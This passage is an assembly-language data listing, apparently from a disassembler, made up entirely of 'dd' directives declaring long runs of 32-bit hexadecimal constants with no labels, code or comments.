		dd 0DFC4420Fh, 0C54E836Eh, 0A10D3DFDh, 1B60A255h, 0D6C72E94h
		dd 76F0FE49h, 2C50BB6Fh, 55930FCBh, 756C7F9Ah, 293B216Eh
		dd 0F1BB7034h, 62291697h, 0D51C605Fh, 1B1A6584h, 0BF418393h
		dd 672AEA37h, 1816B8BDh, 6DDE3521h, 44CAF44Dh, 0EED18B92h
		dd 9D958EB7h, 5ACEABB8h, 0E5440929h, 596FFD16h,	88C4ECDAh
		dd 6EF2851Fh, 0AFE3C915h, 5CBFBB11h, 0A84E188Eh, 9D16782Fh
		dd 0AFC74A4Ch, 0C7464BB8h, 57ECA700h, 6D20FFB6h, 202C1EB9h
		dd 519C4BD5h, 30246895h, 19DDBCB9h, 48A5769Bh, 980BCA6Eh
		dd 0B25EA5F7h, 0E22B4C20h, 2B88907Ch, 6BB163CEh, 0FE3E958Bh
		dd 0BCC2639Dh, 0CAA77A02h, 46819D07h, 0DE431BDDh, 6C7CC657h
		dd 0C93126F7h, 1C2BE56Ch, 44B615DEh, 0F34A6857h, 9D4FF2BAh
		dd 0FC36D74Ch, 3CF5C42Dh, 78B9564Dh, 479075A8h,	5273468Fh
		dd 0A966FBA6h, 0C0C24B64h, 35EA6809h, 0F5C82FF8h, 0ED48D028h
		dd 4D94D9AFh, 16521053h, 0BA78D811h, 7B3E46CFh,	0FDA20F88h
		dd 0EB8C7D4Fh, 8C2D6136h, 0BA7AA0C7h, 706AD3B6h, 0AA350882h
		dd 2B788D2Ah, 8ECF7056h, 20414994h, 0AD252C02h,	2CCE9776h
		dd 33853187h, 3163F993h, 2750B510h, 8A6AE3ADh, 86C0EAE1h
		dd 0FE4017F4h, 0CF3C465h, 0AFE28ED5h, 5C051AA5h, 515EEE97h
		dd 8F968CC7h, 0B42F99DCh, 0CC1D2C56h, 0E9D9AEEFh, 7BDAF14Ch
		dd 0D7824E11h, 0E9025312h, 0AC19FEA3h, 0BB7CBF5Bh, 0B65259C6h
		dd 0FD7A646Fh, 6C4BF768h, 2D3C9223h, 92C19504h,	9C294C51h
		dd 4D911EE6h, 7DD60530h, 8EC6CA40h, 6B72147Dh, 11A8826Ah
		dd 9499A011h, 0F8AE014h, 0B97B8C46h, 1E7B76DDh,	219B7835h
		dd 39A47CF0h, 0C31CBB41h, 0C06DC07Bh, 2CF0C81h,	0ED8D70BEh
		dd 0E40D1EA4h, 1A07AC4Ch, 61BF93AFh, 0E4881120h, 0D008FA6Ah
		dd 0F318F429h, 4F293C1Fh, 72BFDAA0h, 523DFEA3h,	0B14E25E8h
		dd 7B922BE0h, 0AF52DAEDh, 0CC1291C9h, 33633F42h, 0DF63E56Ah
		dd 25C21B98h, 0E6A18E3Ch, 5FC8D163h, 7DF3D3Ah, 73A87CDBh
		dd 46896BA2h, 118A9FBEh, 70F925ACh, 3ADB8829h, 74A14011h
		dd 95042188h, 0A596331Fh, 0DF652FC8h, 45FA9E5Eh, 98A8FDD0h
		dd 74DDB85Dh, 5A3A6BAAh, 0B6EA4BFAh, 208716A8h,	0E1C60AD3h
		dd 0C2C3BF49h, 53DCB9FBh, 0D2A4EFEBh, 0A352C07Bh, 0C4E52C72h
		dd 8493073Bh, 46C25785h, 2C392488h, 57BA1620h, 12987A9Bh
		dd 5C94D24Ah, 0D730F81Dh, 3C30F44Ah, 9FB4C130h,	5CE12E8Fh
		dd 62A010F5h, 0BD7CA552h, 145E60CCh, 313DA25Dh,	53E858C4h
		dd 0B75D3099h, 57D4B9A6h, 0BB66DBB6h, 7FE93B73h, 4B9D697h
		dd 59A64747h, 6336DA14h, 9E5BE4A2h, 2F16AA2Fh, 1BB8C36Eh
		dd 600AA566h, 17E649AAh, 0B943E44Eh, 386506BCh,	0EA32C238h
		dd 4FDF4838h, 89CBC08Fh, 7A8957C8h, 61E911A2h, 0F745F431h
		dd 106F27E9h, 0FDF022CFh, 9596E564h, 7F670832h,	0E33F0429h
		dd 23B7DD21h, 0E56BA07Ah, 0BAF92019h, 23C964B5h, 5B089540h
		dd 0F13AA7CAh, 0FD86742Dh, 72D3896Bh, 0DC41CECEh, 9E17BC1Dh
		dd 8142FB46h, 71C8B8F4h, 2A1D54A1h, 78B0021h, 5F71806Ch
		dd 1D3C66DFh, 0E82142DBh, 50654E1Eh, 85569D0Bh,	554534FFh
		dd 0C41155F6h, 928765D7h, 596A9C4Fh, 859F1E91h,	426F74B1h
		dd 972E6721h, 96A16FCBh, 36857B3Ah, 0AEB7E20Dh,	4A8F55EDh
		dd 0C92D4B8Ah, 43F68BADh, 0C1532BBBh, 0E58D66C8h, 0F5344EA8h
		dd 81F9B36Dh, 3073E3ABh, 0A282CFEEh, 7D38C254h,	6BC88A2Bh
		dd 4457D9ABh, 46E3A0D9h, 0AB71D81Dh, 164925D2h,	0AA42F5B1h
		dd 862CCB08h, 83EC73Bh,	0C83118D4h, 0D8FF2841h,	0AB099381h
		dd 0E1C176FBh, 9882C761h, 663EFBE3h, 8294862Dh,	3C32C15Eh
		dd 73EB4564h, 0C3532B86h, 0AF60CDB8h, 0BE65CFEEh, 7DD31B8h
		dd 0EF0BF3C7h, 71A134A0h, 0AF023BA8h, 6E876436h, 0C00971BAh
		dd 0F04F3247h, 0C92F3B80h, 8D7A33DFh, 0C6986128h, 0F8F64B7Ah
		dd 0BBF81DFAh, 17D5DE52h, 9EA1EA71h, 0D4B2F3BFh, 5A238A51h
		dd 0C563EA09h, 31FA0B65h, 0BFA18DBFh, 0F9AA6B37h, 9C89F2DBh
		dd 0A7C07B80h, 14DC0FE3h, 33F25221h, 0DEEBC875h, 570A070Bh
		dd 300A4BA2h, 19D2EE09h, 0AF0C5DE2h, 49D42E67h,	2FE98CA8h
		dd 0D0AF16E6h, 641606A7h, 16AF803Ch, 488728E3h,	0F6D81F8Bh
		dd 2704EB69h, 0C0E503F3h, 0A86D0CA1h, 63AD336Ah, 4A3348CCh
		dd 85C395C2h, 75989630h, 387B1B36h, 0AB339A3Dh,	0CBCA6A83h
		dd 55DDB5DCh, 8554DA7Bh, 0BF21AEA7h, 0C761CB7Eh, 923DBA7Ah
		dd 0A65EDFDDh, 2C6C512Dh, 8DB9E7F5h, 74EE7BC5h,	6D2CB4BCh
		dd 6CF2AF0h, 3E32541Ch,	9CC77AE7h, 77283958h, 0F28EBAE3h
		dd 46585E1Eh, 11A752E6h, 0BBFE4C91h, 0A9515B7Ch, 8CEF35F7h
		dd 49B2BB8h, 1E582B81h,	36D9DE3Bh, 94B078EDh, 0AE8B4C09h
		dd 0E57354Bh, 7AC3F0C7h, 8A33E4F2h, 73B8320Bh, 233214B1h
		dd 0BADD40B2h, 4AE7550Ch, 9B5943FCh, 0C4A6B8CAh, 768C2849h
		dd 0B3C71FD5h, 728A0882h, 0AD56761Bh, 261637D7h, 0F58E47CDh
		dd 0E646A641h, 94AD01ECh, 0AE600FDBh, 28A411C5h, 657D8B5h
		dd 0CC7BE2Ch, 0B055F0F4h, 224F5D44h, 0C341C574h, 36B05341h
		dd 0D5A4B99Eh, 0CA6C2F00h, 804B6A4Bh, 9B8A869h,	1EF6BC89h
		dd 71008756h, 0E316A32Fh, 0FEBB6565h, 0B28A7DA5h, 0C0C393C8h
		dd 3A0F8A08h, 6EDE6F07h, 41C04D01h, 7047EEFAh, 6974C127h
		dd 1DDD4FC8h, 30AF69C5h, 3601F5C7h, 6CF54DF5h, 0A75CCAB9h
		dd 0B02D7A23h, 832D47F1h, 0E662779Ch, 0B8799034h, 4B4F836Dh
		dd 0C21E0F82h, 0E8BC1DE1h, 78B9BEC4h, 4EC182ADh, 0C245E0Bh
		dd 6A608B59h, 0D9E475C4h, 0CB7177A2h, 97101C22h, 4034A64Eh
		dd 326D9070h, 0BBEB10F5h, 1F366980h, 2DAFF28h, 3CE9719Fh
		dd 0B4CA7711h, 0A3D548Fh, 0AD58A15Ch, 8FBA409Ch, 0D95FEA68h
		dd 0E7DD5FC3h, 569FA014h, 0D354A54Ch, 4CED1619h, 0C97E0781h
		dd 128897F0h, 0B3988121h, 46B4F707h, 70605688h,	0F7E0AA94h
		dd 0B89A2C06h, 0E71BF994h, 0A3595625h, 39B120B6h, 0E61518BDh
		dd 0FD3CAAB7h, 1C746120h, 0D673C867h, 99B9E321h, 0B5F18FF4h
		dd 2E6FBB0Eh, 0F1D2925Eh, 2C2ED61Fh, 2DCC09EEh,	210EB568h
		dd 834AED28h, 339B1B0Ch, 28CDC3D1h, 728A16FFh, 0D1325D49h
		dd 5301A708h, 0C34E9E82h, 13A12A29h, 0F1C52815h, 144F7F5Bh
		dd 0A58E5F17h, 93B58B67h
		dd 72411D73h, 0D1B228E3h, 591E8D2Ch, 8F7F6CD2h,	3C0F969Eh
		dd 0F1B9D918h, 248532ACh, 4A278354h, 7E2434A2h,	988D52CBh
		dd 4259A72Ch, 64A75C9h,	0D0142981h, 1DC2C148h, 0A0532745h
		dd 723B12F5h, 0F24B7226h, 0FEBA2A23h, 8AA01EDDh, 0A6BA6F82h
		dd 0EE2CEEEAh, 1E0147CDh, 905E1BA6h, 5E04BA95h,	1FA316CCh
		dd 3879F47Ah, 0B7C272D6h, 7D8EB941h, 0E511069Fh, 22C7875Fh
		dd 0B422210Dh, 7F10188Ah, 76FCBF72h, 7B46081h, 1059A01h
		dd 0CFF303FDh, 4FF07D74h, 23CCB7C6h, 9EC9FF1Bh,	13DE9A23h
		dd 936BC562h, 0F3BBD265h, 0FCB1D062h, 89C09CE1h, 2FF6D414h
		dd 604E65EBh, 0A349DD68h, 0C257252Bh, 39B9BA67h, 0D6B1D251h
		dd 791FA9ABh, 0E2CF519h, 39EFD113h, 8905CC49h, 78A5427Bh
		dd 0CDDF8500h, 0DDDAC74Eh, 0E2116F14h, 7816D2F6h, 0F40C093Dh
		dd 64936B37h, 38E469A4h, 3B4429F5h, 46D26441h, 0ACDB2622h
		dd 0EFC90D03h, 96EF3A06h, 0DC5ED441h, 73E0D9C8h, 0B4F179B8h
		dd 51C34A7Fh, 75CC7C6Ch, 681DDC90h, 4DD65EEAh, 8FC08AC9h
		dd 5999E756h, 0B07E4963h, 0F7F1BC8Ch, 8CD36E23h, 49E5373Dh
		dd 6A1951DFh, 40121466h, 0DC307E49h, 2BB3D35Dh,	0EB442818h
		dd 177C212Dh, 0D901D4D9h, 6F238744h, 85549654h,	26E8D9F3h
		dd 89FA771Eh, 8257B775h, 0B3A9AEC3h, 79A48124h,	3509B03Fh
		dd 0E790748Ah, 708C56BAh, 965831E0h, 4F3F580Ch,	8551E844h
		dd 2830DE2Bh, 0E223EB69h, 6AE313CAh, 0C7F40397h, 368887F3h
		dd 0D67D8AFEh, 7B358E2Dh, 97AA86BAh, 3ABA8E13h,	2DE5161Bh
		dd 47A8B778h, 9F59A485h, 7EFA7DDEh, 0E6683CEFh,	25A24317h
		dd 67659408h, 421B304Bh, 0A122BB9Ah, 3A3641CEh,	73F45DBBh
		dd 9A1776F0h, 7F88F8Eh,	19642D6Fh, 0A9019293h, 0E279860Ch
		dd 4A0ED780h, 13CA3683h, 6020E912h, 8FA90A56h, 296306D2h
		dd 9DB20B0Eh, 9898BA0Fh, 6F0558EAh, 0DF21E3D4h,	629093A2h
		dd 6CB849AFh, 65E5C284h, 0F8388773h, 0E2AE8948h, 2FEFF46Bh
		dd 14D5B420h, 0B9D298D3h, 0CA0DC376h, 0A1800D8Dh, 2DE68A4Bh
		dd 976234E0h, 0DAA37039h, 0C6FE1253h, 6D9476A7h, 0E5876142h
		dd 86FE3914h, 562B9A5Eh, 4C1D04ACh, 0E8BBB26Eh,	8968137h
		dd 20A23D00h, 7E07A847h, 0F23794A7h, 0B266D154h, 7D5A25C1h
		dd 0A17259D2h, 5E039A79h, 4D6A11DBh, 0E48E0ACCh, 963D721Fh
		dd 0A22386DEh, 15992773h, 0FF0E2B61h, 0B8FCA257h, 0AD532704h
		dd 1FB5384h, 74BAB5B9h,	288B0FFEh, 9542F13Fh, 0FDC3B4BFh
		dd 2488A91Eh, 31F442EDh, 0CC2B91AFh, 0E5E26863h, 80312AF8h
		dd 90DB8805h, 4FCCF36Dh, 49D4E770h, 0EE42F8CCh,	0C9DC882Fh
		dd 0F19743A7h, 9B0C70BDh, 0F0EA2B0Bh, 0C7FEEA75h, 96B38AAEh
		dd 0F2737813h, 0A315F6B2h, 49508812h, 17A3FEBEh, 905969FAh
		dd 0CF2B85C6h, 435C39F9h, 3E36F974h, 83738CE9h,	0C12A5Dh
		dd 5BED36B4h, 0E1BD332Dh, 99189D07h, 1F6EA50Ah,	14285566h
		dd 0FC849BC2h, 0D1E5DCBFh, 97173330h, 80743AE3h, 5FF8A9B1h
		dd 8A4C1ACBh, 30392A4Dh, 0FD796F26h, 36C0413Eh,	0E537C0FDh
		dd 5B599E08h, 0E4ACCD08h, 6CBB6025h, 0CD31755Ch, 7C8318D4h
		dd 0CD4C10ACh, 0CB9C5199h, 0B9975E56h, 2D07EF8h, 0A9217FB0h
		dd 2C719891h, 8E467B12h, 8A94418h, 0ACE56CDEh, 47CA67D8h
		dd 9EA707F7h, 6F445D99h, 0F6CBC12Bh, 6465E9C9h,	954BAE80h
		dd 34742587h, 5E20B88Dh, 0B9795E1Fh, 0CA78B9F4h, 44EBD15Bh
		dd 43ECB15Eh, 0A03A4FEAh, 1EA7B6C0h, 0C400DF3Ah, 35EC4ADDh
		dd 84C1988Ch, 0CA97BC1Dh, 3542CE06h, 0D318687Ah, 0CE961734h
		dd 490844C1h, 22FACA78h, 7027AA3Eh, 20D5830Fh, 4CC9657Ch
		dd 45AC7F43h, 6AFC3897h, 0CB5B43CBh, 0B62F9428h, 3AAD829Fh
		dd 64A37DEh, 4CB0989h, 0D7A56AD4h, 0B9199864h, 8AE5A570h
		dd 0B2B9E194h, 0E5530508h, 7EBA7F7Bh, 410A106Dh, 4EBF8ABBh
		dd 49317E6Fh, 5C1977F0h, 3F31C628h, 0BF940227h,	0C26E06ECh
		dd 41FD26E9h, 75165F11h, 0E82E61ECh, 1DDCF668h,	147D9492h
		dd 0ECDF06ECh, 0DAD45C16h, 3D18D24h, 0A5A41096h, 6F5C31E8h
		dd 472FAA14h, 0C9E41C6Eh, 4E8D4964h, 498B6DC8h,	2EBCB400h
		dd 0B7DA406h, 31F581AEh, 783CCC89h, 0F54C63CCh,	0B05E1497h
		dd 0DCBCB515h, 92445F9Ah, 0C2B211C7h, 453D842Fh, 6A81AD99h
		dd 16E813A7h, 0F628E579h, 0EC2AA4Bh, 0C2E00CC7h, 7600D53Fh
		dd 0AF9C941Eh, 99038C49h, 0AB5786BDh, 3A66F2B2h, 5BE8A5DBh
		dd 0A8492C88h, 0E358D8E6h, 0D2865A3Ah, 0E1AF1A4Ch, 9E5C06ADh
		dd 7A38C66Bh, 951669EAh, 0EE1FCD06h, 0D8855C65h, 0C263F246h
		dd 33D8793Fh, 10294841h, 52A95A4Fh, 0C64DA33Bh,	21DA3329h
		dd 76C5BC23h, 0FBDCD568h, 7868E360h, 1E8BF579h,	2A4F64F9h
		dd 0EA39881h, 0C46FB42Bh, 0A48547FDh, 0FE3E62FCh, 6517E61Ah
		dd 0A555AC5Fh, 2521C6B4h, 9B314180h, 0E2B7E1B3h, 0D4CAAC7h
		dd 0F48D6020h, 0C89CD85Eh, 0BFF772BAh, 6ADAA7B4h, 962AFBB3h
		dd 8E150FB1h, 3E533670h, 37253C2Eh, 6D0DBD0Eh, 9F038459h
		dd 590ECCC5h, 1C653C5Dh, 58998CC2h, 2FFE7C3Ch, 57ACCB63h
		dd 3D523F06h, 0A800FB98h, 86D3208h, 65BA02E3h, 27F0D926h
		dd 0FC0AD3F5h, 5178FA79h, 5F9E6EFDh, 8F3E5111h,	31F42CE8h
		dd 0D3760896h, 0FB666E56h, 92D8C7C1h, 70836D3h,	0CB21136h
		dd 7B3B6CF9h, 50EF8EE6h, 9F2E60F9h, 66F16C4Fh, 0D5C0ED00h
		dd 31953E1Bh, 0CC60E359h, 12683627h, 0B9A478D6h, 0EBD78DE1h
		dd 8520FE4Eh, 56CF90B5h, 0C48364F4h, 20199693h,	2A6D7F9Bh
		dd 2D9F0085h, 4AA83908h, 4160B859h, 6516DF98h, 9BCF77A8h
		dd 0F5CE4F88h, 4F5E0720h, 8B2483E8h, 0C0E56A93h, 0A234212Bh
		dd 8037F0CDh, 0D84CFFB0h, 7040C564h, 85CE2571h,	86ED7D70h
		dd 0B4E9373Ah, 0E5D1B777h, 0A5ED168Bh, 5706F8D8h, 961F94C9h
		dd 0C3AAD33Eh, 9D694068h, 9BE1604Dh, 699590Fh, 1FE83AF7h
		dd 31F14E69h, 80967AD7h, 343284ACh, 0F44D1220h,	9365BE05h
		dd 92CB3807h, 0B9776079h, 11161BBEh, 0C3E1B1Eh,	6938FCA7h
		dd 0B7EA4B90h, 6BD871EDh, 0DB9499C2h, 20E102F7h, 146BC240h
		dd 31AA6721h, 331CC57Eh, 0ECF273F0h, 0E87D2ED4h, 40BCC825h
		dd 0FC7AB92Bh, 0F7F07825h, 39486013h, 0B19E51E4h, 0CD7F731Ch
		dd 8848EC5Fh, 1E13C050h, 0D8ADD380h, 0A9A15A43h, 0D427C210h
		dd 3298BF8Eh, 0A08F1B7Dh, 0AC342173h, 63C65126h, 231BCDA0h
		dd 60797E54h, 0C0EFAD67h, 74E00D9Eh, 13C3206Eh,	40F93C55h
		dd 83D466DBh, 0F64FF433h, 2487BC45h, 274D018Dh,	5708E112h
		dd 0C259D4F0h, 103C1104h, 0CF7D413Fh, 0B144CE7Bh, 8A0C856Ch
		dd 0D756FCB1h, 174051E6h, 0C53EBC47h, 0ADAEABB4h, 0FE0551ACh
		dd 0FE87045Dh, 42C44951h, 0C7E4C5F0h, 703A9DF6h, 94973021h
		dd 0A900D192h, 0C33C55DAh, 0CCBE7BCAh, 96D76605h, 0A069ABBAh
		dd 1B6D03C3h, 0D70CECF2h, 919ED43Ah, 67C4E662h,	318297ACh
		dd 0EA4F1417h, 6CED299Bh, 1386C75Bh, 0B6C8221Ah, 4CD1E2F3h
		dd 0BD5D298Bh, 410A633Ah, 0B3E2C354h, 4452269h,	90C1DA5Bh
		dd 5C9EC699h, 7899C261h, 0EC58B18Bh, 0EC800120h, 43268051h
		dd 282587FEh, 0C8AD9B6Ah, 0E953DB1Fh, 3F807D96h, 0F7EB95AEh
		dd 619A1BF7h, 4FF5B6EFh, 67B67334h, 1380914Eh, 26A62AD6h
		dd 98398A2Fh, 5E3B0BEBh, 367F2ECFh, 0AD4FE26Bh,	4194D57Dh
		dd 96D5475Eh, 8CB5EE07h
		dd 79B62A7Ch, 3D8D77F0h, 0D604BF4Ch, 5952B33Ah,	21CF0E2h
		dd 29A90A7Bh, 5516EB85h, 0CEA4C164h, 0BADB48D0h, 0B0C06109h
		dd 11E8FAA9h, 0C7B049C2h, 59B5A160h, 83A61FC8h,	0CF2F460Bh
		dd 3EE4CDE6h, 91926510h, 0EBD01DDEh, 0DEC70629h, 0DA67B4C9h
		dd 0A2FB3C2Dh, 287D25DDh, 595B2E57h, 8A6F035Ch,	0A07605A8h
		dd 0B8978529h, 0EABFEE6Eh, 0D4993AFBh, 9E6215C2h, 875C17A5h
		dd 2B2E0F8h, 0B0814962h, 4787900Dh, 5251C3C2h, 66CAFB07h
		dd 1D059EBBh, 0A71CF9D2h, 0D797501Eh, 0F955106h, 65503D36h
		dd 699D91D7h, 9505A8E6h, 0CECBCF8Ah, 8EF7CF00h,	0D7EB8273h
		dd 0C9A39B2Ah, 18C90FA4h, 0FC3A9A47h, 4E41D796h, 0E22AC533h
		dd 69B203E2h, 8775BD16h, 695F5573h, 7F284C99h, 0F5B53A6Eh
		dd 0DEB206D9h, 425700D5h, 4824AF91h, 89F1F62Dh,	0C958EA35h
		dd 0BAFC4DD6h, 0D647CBF5h, 503D7E4Ah, 32F14F9Eh, 90604F66h
		dd 6AC18136h, 0BFC13FFCh, 8C16FB7Bh, 2313C14Ch,	1DC276BEh
		dd 0BAEFB024h, 646F37BFh, 0AB4F590Ch, 55646E61h, 12C8FE94h
		dd 7156F623h, 0AFEF61DBh, 28E34CCFh, 8AA17687h,	0A470FBCAh
		dd 2BC045DCh, 0C2FAE89Ch, 2BA979E0h, 0D55EF075h, 5866E6E7h
		dd 0A6DDEB44h, 8CAF14BDh, 0D602955Fh, 8E036D48h, 0B7139FAh
		dd 99AA71ACh, 7484CD6Ah, 57BDF03Eh, 3C3E4B36h, 0DFC932FFh
		dd 8FAA788Ch, 0A2667F9Ch, 24598273h, 221BDC63h,	0BBD25C61h
		dd 513B56D9h, 5CC40246h, 0D09E56A0h, 1950A334h,	0F96A8060h
		dd 3E73E590h, 1111AEB5h, 0EBC779D0h, 0BA7D2152h, 1002F630h
		dd 55A2398Ah, 4F9CCC75h, 0CCED0D8Dh, 1C5C7D40h,	61916453h
		dd 0D8206420h, 1AD766F9h, 0DE90B5EAh, 0E53652h,	68FD28FDh
		dd 20BF5904h, 0FD519EFBh, 11C15645h, 0FC686F35h, 3E334CE9h
		dd 357E399Dh, 0CF2C33FCh, 54ACD2B7h, 0ABA2212Dh, 773CC23Dh
		dd 0FE6B5A3Dh, 0E8762E82h, 0DD2A39F5h, 1C7C3746h, 0AB31FACFh
		dd 43E82E11h, 0C66F5A96h, 0F5AA67CAh, 6EC3E9ACh, 96057923h
		dd 0CA95555Eh, 7682E8CDh, 122A9D9Fh, 737A0508h,	176E79ECh
		dd 4DD262AAh, 4B1126F1h, 402ACF54h, 672253B7h, 39A58493h
		dd 0E9590E38h, 8D3ECB54h, 0DB90EB2Fh, 28824C13h, 3DD849E0h
		dd 6A0C01BAh, 0A62F8F55h, 0E710DD1Ch, 0B8F1D62Bh, 111CBD70h
		dd 0F15516ACh, 6B0EB023h, 28878E12h, 0B82BB3DFh, 43C457B5h
		dd 99DA2794h, 725764E6h, 0B937E8E1h, 59F11B1Bh,	0C27ECA75h
		dd 0E07A1383h, 0AB78503Ch, 9FC67B00h, 0EE1E79CDh, 0CE420943h
		dd 0CFF930E4h, 861E122Eh, 88161A43h, 81E8AC49h,	0E5CE5535h
		dd 643D9245h, 8366A8B9h, 9BF1CD56h, 840BDD14h, 8F2F4693h
		dd 0D7320FDCh, 4D8F549Ch, 5BB512A0h, 0D39D906Fh, 0E0295328h
		dd 29CCFA2Ah, 64294578h, 0DABCBA0h, 24CC36C0h, 7B6EB9E1h
		dd 577C504Eh, 0CF3AC365h, 0E6FE7DDh, 83B1E124h,	1CF66FA9h
		dd 0E655B0B5h, 0A46628ADh, 69B79F89h, 0BBCA7289h, 199FF650h
		dd 6A29EC3Ah, 0A2BA2506h, 736D0F6h, 0F656CFACh,	56C22B52h
		dd 364AE505h, 0DB4CDEB4h, 36D6C755h, 676EAEA2h,	3D5DD9h
		dd 0B9AE5117h, 7990CE49h, 76CC7AF1h, 855479E8h,	0F27F970h
		dd 395F8780h, 32BC499Eh, 304DD044h, 31D09E2Bh, 0AACB6E26h
		dd 0CE741E71h, 22AFAD70h, 4DF075B6h, 0EDDE8188h, 0A247DF12h
		dd 7873C879h, 51562829h, 4B1FD2E5h, 75A67DDFh, 0AEA48794h
		dd 6CF53CBEh, 4D1731D4h, 135E809h, 4BE4CD67h, 4F996DD7h
		dd 2E81C1BEh, 9BA889F4h, 80C3E72Eh, 340ED169h, 0C6B77460h
		dd 4033D743h, 881995E1h, 461D0C55h, 0ED4C2EBBh,	5F61ABDEh
		dd 6C8F24D7h, 515778C4h, 1AA8CBFh, 1C8167A7h, 1FBC73EBh
		dd 99986701h, 1D30F8F3h, 0DF9F650Dh, 0E1B5BE4Eh, 3416F19Ch
		dd 0C313628Dh, 7F46B7CFh, 37878631h, 60B243FBh,	6DA75204h
		dd 77DCEC50h, 22AD281Dh, 64700F61h, 0B775763Fh,	7214E212h
		dd 6B061407h, 0E6E2FF70h, 0EBF0A6AAh, 5F78A55Eh, 709D266h
		dd 7F0E76DCh, 1441CD5Ch, 39FD81DAh, 0D764389Ch,	392FDE6Eh
		dd 62C57C23h, 0DC6CA508h, 0DC5C52BDh, 9B60C195h, 3257EC32h
		dd 0A0699096h, 6A037ABFh, 0FB4C3D18h, 9D986964h, 3D68F97Ah
		dd 0F029E79Ah, 0BF0EC866h, 0C1C628C8h, 0D0682723h, 0F6A849A5h
		dd 7511B61Fh, 90EC6428h, 40F1782Dh, 0A9D83199h,	151CF165h
		dd 0A7168153h, 354AA0E6h, 58BA56E3h, 0AD3EDF01h, 0B554E756h
		dd 0FC82CDE1h, 0A93E59A2h, 89652791h, 32FFB85Dh, 0E292BD68h
		dd 6BFBD564h, 3FFA3A12h, 3E56DBF6h, 0AD428D51h,	0DA848B74h
		dd 3C9276D3h, 6D37CB9h,	2AFDE550h, 36D7B1E5h, 0A0B9E52Dh
		dd 0AAA5F20h, 0B5102383h, 1537812Ch, 8994CD8h, 78DBC84Fh
		dd 0F745F69Bh, 0F7B64636h, 4C72DB58h, 0E3640C35h, 3481B439h
		dd 71F37E7Bh, 0F24F7EEAh, 0B8D14D9h, 86B57880h,	1BFBB86Dh
		dd 0BF1F7E31h, 71E2F861h, 0CC934C99h, 0D40056DFh, 0E4C4559Ah
		dd 0B534A96Ah, 54E88D74h, 3F1CFCAEh, 67D49DE1h,	9CF9081Ch
		dd 0F490E428h, 99F1CA0Bh, 0CBA210D2h, 3A4B05E7h, 975AE084h
		dd 0DEACD693h, 0FA6FAC26h, 87BE7E8Fh, 9E1AE7BFh, 2E3418BBh
		dd 903D452Ah, 260FFE97h, 18D2555Fh, 49EA7694h, 41F00AE6h
		dd 8C24202Ch, 0F88DEF20h, 0AEF530C1h, 0E7165EDh, 0BB8B3FA9h
		dd 30EAF252h, 0E74DA62Eh, 0DCE9BCA8h, 0B0DA20C2h, 23298C85h
		dd 0FEA7548Fh, 7D52ED07h, 0FC870B20h, 7EBE369Bh, 0BDB315B3h
		dd 89B34664h, 75FFD2E4h, 74F89794h, 30510F63h, 0C3A28411h
		dd 0E4C889AAh, 64FE370Bh, 7EF76F30h, 97BF4DE0h,	1BFFFFC7h
		dd 506FDBC0h, 0A2FF4A6Eh, 97623C88h, 0E1353B84h, 0CE1E0192h
		dd 0BE8AA33Dh, 83FA8B5h, 0CAE778E8h, 2BD940D2h,	3631629Bh
		dd 400BAC89h, 0B0DE8889h, 9AFAB393h, 0D4C50832h, 0DD8637ABh
		dd 7403F18h, 0C58293C2h, 9534544Eh, 96DF21C6h, 3ABC700Dh
		dd 705BAF01h, 8DA21F7Bh, 9C2EFD4Ah, 0B8469EC5h,	0B6D568B6h
		dd 17FBB864h, 7904610Ch, 81CB2A38h, 0DB6D377Ch,	74AA1D5Dh
		dd 0B588937Dh, 4A57B2FBh, 0CBA6C89Ah, 1E2B19DEh, 0CA5C1941h
		dd 1F37530Dh, 2EF1701Eh, 123F5885h, 0F01BDD87h,	0EEFBA097h
		dd 53E39264h, 567D594Ah, 0E1F56485h, 590D5571h,	89DCC415h
		dd 65D0B645h, 89E991DCh, 0E4273C4Bh, 88E8E5Bh, 6106B767h
		dd 8DB02h, 0F8D54949h, 414F97E6h, 0B3D853D8h, 0FDC69485h
		dd 47367B3Dh, 6729CA11h, 60BB5740h, 0F18522D4h,	0FFDAD3h
		dd 0EE5D9EA3h, 0D2ED289Dh, 1F3507DDh, 0D27E2D4Ah, 9EE77DDCh
		dd 94662FF8h, 0CF97E6DCh, 6A688C1h, 742FB7FAh, 0C79A7A1Ah
		dd 67BAAFACh, 43B491ADh, 11125662h, 0B1CBDAB0h,	29668FE5h
		dd 29CD45BAh, 0B457446Fh, 0D2119E6Bh, 3FF3902h,	852F7A0Dh
		dd 6EEE7BD5h, 58DECCB6h, 5E8D2637h, 0FDE6A3BAh,	0F866A565h
		dd 44017234h, 0BF91DD80h, 0EAAF1336h, 24FFCE5Fh, 0F09330FAh
		dd 0F4226F93h, 44629F53h, 16B91BBFh, 1A61456h, 69C3F93Eh
		dd 750989C2h, 15C6CE46h, 1658D835h, 47F9062Bh, 489C7C2Ah
		dd 2C5A24D9h, 0FE1337FDh, 0B76382B6h, 6E45F101h, 0B78CA14Ah
		dd 0B292E787h, 406118FFh, 792F5EDCh, 0EC8DDB25h, 92351A5Fh
		dd 6D4C0E75h, 82835019h, 0C7E03875h, 9346E7D8h,	0C62BB7A1h
		dd 0C042B3E7h, 0A77125E2h, 0ADD5F5F4h, 0A2115EAFh, 0C34FA811h
		dd 3E9F55D5h, 0F9360EBBh, 3368938h, 0FCC233FEh,	9BC252AFh
		dd 8B86FCC2h, 8755166h
		dd 0E79267A2h, 0B6ABFC07h, 4BD3EB59h, 3693A684h, 0A111EC29h
		dd 72E04365h, 1F08202Dh, 6F162EEh, 0DA1D5CD4h, 8591A059h
		dd 111B3591h, 246CFC60h, 30810E89h, 0DC59EA28h,	0CEB09714h
		dd 0FC4BE1FAh, 0DBD71231h, 0D2763E1Dh, 6BB68D91h, 5708CEA6h
		dd 0E148F59h, 0C75D8847h, 84409BD8h, 4429E231h,	447E7BB7h
		dd 3267E1ABh, 5F1BE78Ah, 4B43CE9Dh, 54C5E183h, 9C3B915Bh
		dd 8BB8673Fh, 1853390Ch, 0C2516175h, 8ACC59E8h,	42ACB48h
		dd 0B76A95h, 64BDA072h,	9DD35DEDh, 1614D019h, 0EF296EA5h
		dd 53280867h, 5EE13CFCh, 105697Dh, 0A7BE0BC6h, 8648C22Eh
		dd 0BC096EBBh, 1896368h, 0D8189FDEh, 976B57B5h,	67CDB88Dh
		dd 0A42D741Bh, 7EC5F060h, 0F7456C5Fh, 1E7DBB24h, 690ACBC6h
		dd 0E3823932h, 5E7857FCh, 3FCBD45Ch, 0ED4EBFDEh, 7369EE27h
		dd 35B8CD64h, 4C3548ACh, 0DFE65F28h, 0D5652455h, 3D5F43B6h
